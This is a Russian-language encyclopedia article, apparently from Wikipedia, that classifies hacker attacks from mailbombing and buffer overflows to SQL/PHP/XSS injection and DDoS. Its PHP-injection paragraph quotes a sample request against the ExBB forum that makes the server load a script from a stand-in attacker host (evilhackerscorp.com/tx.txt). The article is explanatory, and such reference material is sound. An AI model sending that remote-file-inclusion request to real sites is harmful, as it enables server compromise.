Хакерская атака в широком смысле слова — мозговой штурм, направленный на решение сложных задач. В хакерской атаке могут принимать участие один или несколько высококлассных специалистов (хакеров). В результате мозгового штурма могут быть придуманы нетрадиционные методы решения проблемы или скорректированы уже существующие методы.
Хакерская атака в узком смысле слова — «покушение на систему безопасности», и ближе к смыслу термина «крэкерская атака» из-за искажения понятия «хакер».
Крэкерская атака — действие, целью которого является захват контроля (повышение прав) над удалённой/локальной вычислительной системой, либо её дестабилизация, либо отказ в обслуживании.
Mailbombing (SMTP) Считается самым старым методом атак. Суть атаки в том, что большое количество почтовых сообщений делает невозможной работу с почтовыми ящиками, а иногда и с целыми почтовыми серверами. Для этой цели было разработано множество программ: даже неопытный пользователь мог совершить атаку, указав e-mail жертвы, текст сообщения, количество необходимых сообщений. Многие программы позволяли прятать реальный IP-адрес отправителя, используя для рассылки анонимный почтовый сервер. Эту атаку сложно предотвратить, так как даже почтовые фильтры провайдеров не могут определить реального отправителя спама. Провайдер может ограничить количество писем от одного отправителя, но адрес отправителя и тема письма зачастую генерируются случайным образом.
Переполнение буфера Один из самых распространённых типов атак в Интернете. Принцип атаки построен на использовании программных ошибок, позволяющих вызвать нарушение границ памяти и аварийно завершить приложение или выполнить произвольный бинарный код от имени пользователя, под которым работала уязвимая программа. Если программа работает под учётной записью администратора системы, то данная атака позволит получить полный контроль над компьютером жертвы. Поэтому в качестве мер безопасности рекомендуется работать под учётной записью рядового пользователя, с ограниченными правами, а под учётной записью администратора системы выполнять только операции, требующие административные права.
Вирусы, троянские программы, черви, снифферы, руткиты и другие специальные программы Более изощрённый метод получения доступа к закрытой информации — использование специальных программ для ведения работы на компьютере жертвы, а также дальнейшего распространения (вирусы и черви). Такие программы предназначены для поиска и передачи секретной информации, либо для нанесения вреда системе безопасности и работоспособности компьютера жертвы.
Сетевая разведка
В ходе такой атаки крэкер не производит деструктивных действий, но может получить закрытую информацию о построении и принципах функционирования вычислительной системы жертвы. Эта информация может быть использована для разработки атаки, поэтому разведка обычно предшествует активным действиям.
В ходе разведки злоумышленник может производить сканирование портов, эхо-тестирование открытых портов, проверять наличие и защищённость прокси-серверов, отправлять запросы DNS. В результате можно получить информацию о существующих в системе DNS-адресах, кому они принадлежат, какие сервисы доступны, уровень доступа к этим сервисам для внешних и внутренних пользователей.
Сниффинг пакетов Также довольно распространённый вид атаки, основанный на работе сетевой карты в режиме promiscuous mode, а также monitor mode для сетей Wi-Fi. В таком режиме все пакеты, полученные сетевой картой, пересылаются на обработку специальному приложению, называемому сниффером. В результате злоумышленник может получить большое количество служебной информации: кто, откуда и куда передавал пакеты, через какие адреса эти пакеты проходили. Самой большой опасностью такой атаки является получение самой информации, например логинов и паролей сотрудников, которые можно использовать для незаконного проникновения в систему под видом обычного сотрудника компании.
IP-спуфинг Тоже распространённый вид атаки в недостаточно защищённых сетях, когда злоумышленник выдаёт себя за санкционированного пользователя, находясь в самой организации или за её пределами. Для этого крэкеру необходимо воспользоваться IP-адресом, разрешённым в системе безопасности сети. Такая атака возможна, если система безопасности позволяет идентификацию пользователя только по IP-адресу и не требует дополнительных подтверждений.
Man-in-the-Middle Вид атаки, когда злоумышленник перехватывает канал связи между двумя системами и получает доступ ко всей передаваемой информации. При получении доступа на таком уровне злоумышленник может модифицировать информацию нужным образом. Цель такой атаки — незаконное получение, кража или фальсифицирование передаваемой информации или же получение несанкционированного доступа к ресурсам сети. Такие атаки крайне сложно отследить, так как обычно злоумышленник находится внутри организации.
Инъекция кода Семейство атак, объединённых одним общим принципом — в результате атаки данные выполняются как код.
SQL-инъекция — атака, в ходе которой изменяются параметры SQL-запросов к базе данных. В результате запрос приобретает совершенно иной смысл и в случае недостаточной фильтрации входных данных способен не только произвести вывод конфиденциальной информации, но и изменить/удалить данные. Очень часто такой вид атаки можно наблюдать на примере сайтов, которые используют параметры командной строки (в данном случае — переменные URL) для построения SQL-запросов к базам данных без соответствующей проверкиSQL Injection Attacks by Example .
PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP. Специально сформированный злонамеренный сценарий внедряется в код веб-приложения на серверной стороне сайта, что приводит к выполнению произвольных команд.Во многих распространённых в интернете бесплатных движках и форумах, работающих на PHP (чаще всего это устаревшие версии) есть непродуманные модули или отдельные конструкции с уязвимостями. Крэкеры анализируют такие уязвимости как неэкранированные переменные, получающие внешние значения. Например, старая уязвимость форума ExBB эксплуатируется с помощью запроса: GET /modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt.
Межсайтовый скриптинг или XSS (аббр. от , не путать с CSS (Cascade Style Sheet)) — тип уязвимостей, обычно обнаруживаемых в веб-приложениях, которые позволяют внедрять код злонамеренным пользователям в веб-страницы, просматриваемые другими пользователями. Примерами такого кода являются HTML-код и скрипты, выполняющиеся на стороне клиента, чаще всего JavaScript.
XPath-инъекция — вид уязвимостей, который заключается во внедрении XPath-выражений в оригинальный запрос к базе данных XML. Как и при остальных видах инъекций, уязвимость возможна ввиду недостаточной проверки входных данных.
Автозалив — веб-инъекция, действующая по принципу троянских программ, основная цель которой заключается во внедрении в аккаунт пользователя в платежной системе, незаметной подмене данных транзакции путём модификации HTML-кода и переводе средств пользователя на счёт злоумышленника.
Социальная инженерия Социальная инженерия (от ) — использование некомпетентности, непрофессионализма или небрежности персонала для получения доступа к информации. Этот метод может применяться без компьютера, с использованием обычного телефона или почтовой переписки, и с его помощью можно получить наиболее разнообразную информация. В ходе атаки злоумышленник устанавливает контакт с жертвой, и, вводя её в заблуждение либо войдя в доверие, пытается получить необходимые сведения, которые сложно получить другим путём, либо другие пути являются более рискованными.
Отказ в обслуживании
DoS (от — отказ в обслуживании) — атака с целью заставить сервер не отвечать на запросы. Этот вид атаки не подразумевает получение некоторой секретной информации, но иногда может стать подспорьем в инициализации других атак. Например, некоторые программы из-за ошибок в коде могут вызывать исключительные ситуации и при отключении сервисов способны исполнять код, предоставленный злоумышленником. А при атаках лавинного типа сервер не может обработать огромное количество входящих пакетов.
DDoS (от — Распределенная DoS) — подтип DoS-атаки, имеющий ту же цель, что и DoS, но производимой не с одного, а с нескольких компьютеров. В данных типах атак используется либо возникновение ошибок, приводящих к отказу сервиса, либо срабатывание защиты, блокирующей работу сервиса и также приводящей к отказу в обслуживании. DDoS используется там, где неэффективен DoS. Для такой атаки несколько компьютеров объединяются, и каждый производит DoS-атаку на систему жертвы. Размер ботнета может составлять от нескольких десятков до нескольких сотен тысяч компьютеров.
Любая атака представляет собой попытку использовать несовершенство системы безопасности жертвы либо для получения информации, либо для нанесения вреда системе. Поэтому причиной любой удачной атаки является профессионализм крэкера и ценность информации, а также недостаточная компетенция администратора системы безопасности, в частности, несовершенство программного обеспечения и недостаточное внимание к вопросам безопасности в компании в целом.
См. также Информационная безопасность Intrusion Countermeasure Electronics Крэкер Хакер Удалённые сетевые атаки Анонимус Атаки канального уровня
Примечания
Ссылки
Web Application Security Consortium: Классификация угроз Случаи кибератак Информационная безопасность для всех — Защита от хакерских атак Пример хакерской инъекции Введение в XPath-инъекции Устранение опасности XPath-внедрения Белый хакер
* Категория:Хакерство Категория:Хакинг